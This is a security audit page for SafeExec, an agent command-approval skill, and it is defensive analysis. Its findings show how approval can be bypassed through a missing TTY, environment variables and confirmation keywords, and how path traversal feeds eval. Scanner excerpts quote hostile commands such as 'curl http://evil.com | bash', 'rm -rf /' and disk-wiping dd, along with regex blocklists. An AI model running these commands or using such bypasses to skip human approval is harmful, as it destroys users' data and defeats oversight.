ClawHub
Back to skill

Security audit

Safe Exec.Bak

Security checks for vulnerabilities and agentic risk

Overview

SafeExec is a disclosed local command-safety tool, but its approval and risk controls are weak enough that risky commands can execute without reliable human approval.

Treat this as a Review item, not a ready safety boundary. It appears local and non-exfiltrating, but do not rely on it to protect a real workstation or privileged agent until approval handling, request-ID validation, fail-closed risk classification, and eval-based execution are fixed.

A.I.G

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/safe-exec-approve.sh:27
Finding

Non-Interactive Approval Bypass Executes Dangerous Commands Without Human Confirmation

Content
View full analysis
"$REQUEST_FILE.tmp" && mv "$REQUEST_FILE.tmp" "$REQUEST_FILE" echo "✅ Executing..." eval "$COMMAND" ``` ### Technical Analysis The approval helper treats the absence of a terminal as equivalent to user approval. It also forcibly disables interactive confirmation whenever either `OPENCLAW_AGENT_CALL` or `SAFE_EXEC_AUTO_CONFIRM` is non-empty. This violates the tool's central security boundary: a dangerous command placed in the pending queue is supposed to require explicit human authorization. Instead, any process that invokes the approval helper without a TTY can cause the queued command to execute. The variable checks test only whether the variables are non-empty, so values such as `OPENCLAW_AGENT_CALL=0` or `SAFE_EXEC_AUTO_CONFIRM=false` still trigger the bypass. The bypass is not restricted by risk level. HIGH and CRITICAL requests follow the same path and are executed through `eval`. ### Attack Path 1. An att ...[truncated 1056 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/safe-exec-approve.sh:4
Finding

Path Traversal in Request IDs Enables Execution, Modification, or Deletion of Arbitrary JSON Files

Content
View full analysis
" exit 1 fi REQUEST_FILE="$PENDING_DIR/$REQUEST_ID.json" if [[ ! -f "$REQUEST_FILE" ]]; then echo "Request $REQUEST_ID does not exist" exit 1 fi # Read request information COMMAND=$(jq -r '.command' "$REQUEST_FILE") RISK=$(jq -r '.risk' "$REQUEST_FILE") # Mark as approved and execute jq '.status = "approved"' "$REQUEST_FILE" > "$REQUEST_FILE.tmp" && mv "$REQUEST_FILE.tmp" "$REQUEST_FILE" echo "Executing..." eval "$COMMAND" exit_code=$? # Remove the processed request rm "$REQUEST_FILE" ``` Related vulnerable path construction also appears in: ```bash # scripts/safe-exec-reject.sh REQUEST_ID="$1" REQUEST_FILE="$PENDING_DIR/$REQUEST_ID.json" COMMAND=$(jq -r '.command' "$REQUEST_FILE") jq '.status = "rejected"' "$REQUEST_FILE" > "$REQUEST_FILE.tmp" && mv "$REQUEST_FILE.tmp" "$REQUEST_FILE" rm "$REQUEST_FILE" ``` ```bash # scripts/safe-exec.sh --approve) request_file="$PENDING_DIR/$2.json" if [[ -f "$request_file" ]]; then command=$(jq -r '.command' "$request_file") eval "$command" exit_code=$? rm -f "$request_file" exit $exit_code fi ``` ### Technical Analysis The request ID is concatenated directly into a filesystem path without format validation, canonicalization, or containment checking. An ID containing `../` components can escape the pending directory. The approval operation assumes that any selected JSON file is a legitimate pending request. It extracts the `.command` property and executes it through `eval`. Therefore, an attacker who can create or identify a readable JSON file containin ...[truncated 1789 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/safe-exec.sh:183
Finding

Blacklist Detection Gaps Cause Destructive Commands to Be Classified as LOW and Executed Immediately

Content
View full analysis
[[:space:]]*/dev/sd[a-z]'; then risk="critical" reason="Direct disk write" elif echo "$cmd" | grep -qE 'chmod[[:space:]]+777'; then risk="high" reason="Make file globally writable" elif echo "$cmd" | grep -qE '>[[:space:]]*/(etc|boot|sys|root)/'; then risk="high" reason="Write to system directory" elif echo "$cmd" | grep -qE '(curl|wget).*|[[:space:]]*(bash|sh|python)'; then risk="high" reason="Pipe download to shell" elif echo "$cmd" | grep -qE 'sudo[[:space:]]+'; then risk="medium" reason="Privileged execution" elif echo "$cmd" | grep -qE 'iptables|firewall-cmd|ufw'; then risk="medium" reason="Modify firewall rules" fi echo "{\"risk\":\"$risk\",\"reason\":\"$reason\"}" } ``` ```bash assessment=$(assess_risk "$command") risk=$(echo "$assessment" | jq -r '.risk') reason=$(echo "$assessment" | jq -r '.reason') if [[ "$risk" == "low" ]]; then log_audit "allowed" "{\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"low\"}" eval "$command" exit $? fi ``` ### Technical Analysis The risk ...[truncated 2260 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/safe-exec.sh:86
Finding

Untrusted Conversational Context Can Downgrade HIGH-Risk Commands to Immediate Execution

Content
View full analysis
/dev/null) if [[ -z "$keywords" ]] || [[ "$keywords" == "null" ]]; then echo "我已明确风险|I understand the risk" else echo "$keywords" fi } detect_user_confirmation() { local context="$1" local keywords=$(get_confirmation_keywords) if echo "$context" | grep -qE "$keywords"; then echo "confirmed" return 0 fi echo "normal" return 1 } ``` ```bash if [[ -n "$USER_CONTEXT" ]]; then local confirmation confirmation=$(detect_user_confirmation "$USER_CONTEXT") if [[ "$confirmation" == "confirmed" ]]; then if [[ "$risk" == "critical" ]]; then risk="medium" log_audit "context_aware_downgrade" \ "{\"originalRisk\":\"critical\",\"newRisk\":\"medium\",\"reason\":\"user confirmation keyword\",\"context\":$(echo "$USER_CONTEXT" | jq -Rs .)}" elif [[ "$risk" == "high" ]]; then echo "Confirmation keyword detected; risk downgraded from HIGH to LOW" echo "Executing command directly: $command" log_audit "context_aware_allowed" \ "{\"originalRisk\":\"high\",\"newRisk\":\"low\",\"reason\":\"user confirmation keyword\",\"context\":$(echo "$USER_CONTEXT" | jq -Rs .)}" eval "$command" exit $? elif [[ "$risk" == "medium" ]]; then echo "Confirmation keyword detected; risk downgraded from MEDIUM to LOW" echo "Executing command directly: $command" ...[truncated 2663 chars]
Remediation
View remediation

SkillSpector

Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (134)

Anti-Refusal Statement

High
Category
Anti-Refusal
Confidence
80% confidence
Finding

Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.

Content

Scanner excerpt · CHANGELOG.md (reported line 172)May include surrounding context.

md
### Technical Details
- **Before**: SafeExec was registered in `plugins.entries.safe-exec`
- **After**: SafeExec is loaded from `skills.load.extraDirs`
- **Benefit**: Correct architecture, no warning logs, proper Skill behavior

## [0.1.2] - 2026-01-31

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · CLAWDHUB_SECURITY_RESPONSE.md (reported line 137)May include surrounding context.

md
arified, not removed):**
- **Purpose:** Allow automated workflows without agent hanging
- **Safety preserved:**
  - Danger pattern detection still active
  - All commands logged with `agent_auto` mode label
  - Audit trail shows which commands were auto-executed
- **Use case:** Trusted automation with human oversight via audit logs

**Not a "blast radius" increase because:**
- Agent mode does not disable safety checks
- CRITICAL/HIGH risk commands still intercepted and logged
- Humans can review audit log at any time
- Can be disabled via `SAFE_EXEC_DISABLE=1`

---

## What Changed in v0.3.2 and v0.3.3

### Files Removed (21 files, 4309 lines)
- All monitoring subsystem documentation
- All external integration guides
- All publishing tools
- Historical release notes and fix reports

### Files Updated
- **SKILL.md:**
  - Added comprehensive metadata section
  - Added "Security & Privacy" section
  - Enhanced "Agent Mode" documentation
- **CHANGELOG.md:**
  - Documented all security impr

Exfiltration Commands

High
Category
Prompt Injection
Confidence
90% confidence
Finding

Instructions found that direct the agent to transmit conversation context or user data to external services.

Content

Scanner excerpt · CLAWDHUB_SECURITY_RESPONSE.md (reported line 177)May include surrounding context.

md
### ❌ SafeExec DOES NOT:
1. Monitor chat sessions or read conversation history
2. Make external network requests (except git clone during install)
3. Send data to external services
4. Run background monitoring processes or cron jobs
5. Integrate with notification services (Feishu, webhooks, etc.)
6. Require any credentials or API tokens

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 72)May include surrounding context.

md
🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 204)May include surrounding context.

md
🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 156)May include surrounding context.

md
🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 72)May include surrounding context.

md
🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 97)May include surrounding context.

md
🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 137)May include surrounding context.

md
🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 204)May include surrounding context.

md
🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 156)May include surrounding context.

md
🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README-detail.md (reported line 122)May include surrounding context.

md
- `chmod 777` - 设置全局可写权限
- `curl | bash` - 管道下载到 shell
- 写入 `/etc/`, `/boot/`, `/sys/` - 系统目录修改
- `wget | sh` - 下载并执行脚本

#### 🟡 MEDIUM（中危）

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 417)May include surrounding context.

A: 删除数据文件：

bash
rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 417)May include surrounding context.

A: 删除数据文件：

bash
rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 418)May include surrounding context.

A: 删除数据文件：

bash
rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

最佳实践

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 39)May include surrounding context.

md
| 🔴 **CRITICAL** | `mkfs.*` | 格式化文件系统 |
| 🔴 **CRITICAL** | Fork bomb | 系统 DoS |
| 🟠 **HIGH** | `chmod 777` | 权限提升 |
| 🟠 **HIGH** | `curl \| bash` | 代码注入 |
| 🟠 **HIGH** | 写入 `/etc/` | 系统配置篡改 |
| 🟡 **MEDIUM** | `sudo` | 特权操作 |
| 🟡 **MEDIUM** | 防火墙修改 | 网络暴露 |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 108)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 18)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 34)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 15)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 31)May include surrounding context.

md
AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 20)May include surrounding context.

md
- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

**SafeExec was built to solve exactly these problems.**

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README_EN.md (reported line 17)May include surrounding context.

md
- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

**SafeExec was built to solve exactly these problems.**

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 119)May include surrounding context.

md
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
| 🔴 **CRITICAL** | Fork bomb | System DoS |
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
| 🟠 **HIGH** | `curl | bash` | Code injection |
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
| 🟡 **MEDIUM** | `sudo` | Privileged operations |

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 38)May include surrounding context.

md
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
| 🔴 **CRITICAL** | Fork bomb | System DoS |
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
| 🟠 **HIGH** | `curl | bash` | Code injection |
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
| 🟡 **MEDIUM** | `sudo` | Privileged operations |

Static analysis

Detected: suspicious.confirmation_bypass, suspicious.destructive_delete_command

Risky command approval can be bypassed through environment or context signals.

Critical
Code
suspicious.confirmation_bypass
Location
scripts/safe-exec.sh:12

Documentation contains a destructive delete command without an explicit confirmation gate.

Warn
Code
suspicious.destructive_delete_command
Location
README-detail.md:417